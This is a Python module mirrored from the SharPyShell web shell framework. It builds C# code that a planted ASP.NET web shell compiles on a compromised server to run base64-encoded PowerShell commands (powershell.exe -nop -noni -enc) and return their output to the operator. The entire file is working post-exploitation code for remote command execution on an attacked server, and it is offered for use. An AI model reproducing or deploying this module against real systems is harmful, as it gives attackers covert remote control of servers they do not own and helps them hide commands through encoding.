mirror of
https://github.com/antonioCoco/SharPyShell
synced 2026-06-08 13:11:44 +00:00
antonioCoco
88 lines
4.0 KiB
Python
88 lines
4.0 KiB
Python
from core.Module import Module, ModuleException
|
|
from base64 import b64encode
|
|
|
|
|
|
class ExecPsModuleException(ModuleException):
|
|
pass
|
|
|
|
|
|
class Exec_ps(Module):
|
|
_exception_class = ExecPsModuleException
|
|
short_help = "Run a powershell.exe -nop -noni -enc 'base64command' on the server"
|
|
complete_help = r"""
|
|
This module run a powershell.exe -nop -noni -enc 'base64command' on the remote server.
|
|
You can specify the command requested and the arguments to be passed.
|
|
This module spawn a new process on the remote server and the current directory as the working directory
|
|
of the process.
|
|
Note that you should use the 'cd' command of the prompt to change your working directory.
|
|
You should never use '#exec_ps cd C:\dir', but instead 'cd C:\dir'.
|
|
|
|
Usage:
|
|
#exec_ps os_command [args]
|
|
|
|
Positional arguments:
|
|
os_command command supported by powershell.exe
|
|
args the commandline arguments to be passed
|
|
|
|
Examples:
|
|
List current directory files:
|
|
#exec_ps Get-ChildItem
|
|
Write a new file to the disk:
|
|
#exec_ps Write-Output "test" | Out-File C:\Windows\Temp\test.txt
|
|
|
|
"""
|
|
|
|
_runtime_code = ur"""
|
|
using System;using System.IO;using System.Diagnostics;using System.Text;
|
|
public class SharPyShell
|
|
{
|
|
string ExecPs(string encoded_command, string working_path)
|
|
{
|
|
ProcessStartInfo pinfo = new ProcessStartInfo();
|
|
pinfo.FileName = Environment.GetEnvironmentVariable("SYSTEMROOT") + @"\System32\WindowsPowerShell\v1.0\powershell.exe";
|
|
pinfo.Arguments = " -nop -noni -enc " + encoded_command;
|
|
pinfo.RedirectStandardOutput = true;
|
|
pinfo.RedirectStandardError = true;
|
|
pinfo.UseShellExecute = false;
|
|
pinfo.WorkingDirectory = working_path;
|
|
Process p = new Process();
|
|
try{
|
|
p = Process.Start(pinfo);
|
|
}
|
|
catch (Exception e){
|
|
return "{{{SharPyShellError}}}\n" + e;
|
|
}
|
|
StreamReader stmrdr_output = p.StandardOutput;
|
|
StreamReader stmrdr_errors = p.StandardError;
|
|
string output = "";
|
|
string stand_out = stmrdr_output.ReadToEnd();
|
|
string stand_errors = stmrdr_errors.ReadToEnd();
|
|
stmrdr_output.Close();
|
|
stmrdr_errors.Close();
|
|
if (!String.IsNullOrEmpty(stand_out))
|
|
output = output + stand_out;
|
|
if (!String.IsNullOrEmpty(stand_errors))
|
|
output = output + "{{{SharPyShellError}}}\n " + stand_errors;
|
|
return output;
|
|
}
|
|
|
|
public byte[] ExecRuntime()
|
|
{
|
|
string output_func=ExecPs(@"%s", @"%s");
|
|
byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func);
|
|
return(output_func_byte);
|
|
}
|
|
}
|
|
"""
|
|
|
|
def _create_request(self, args):
|
|
cmd = ' '.join(args)
|
|
if '""' in cmd:
|
|
cmd = cmd.replace('""', '"')
|
|
cmd = '$ProgressPreference = "SilentlyContinue";' + cmd
|
|
cmd = b64encode(cmd.encode('UTF-16LE'))
|
|
working_path = self._module_settings['working_directory']
|
|
return self._runtime_code % (cmd, working_path)
|
|
|
|
|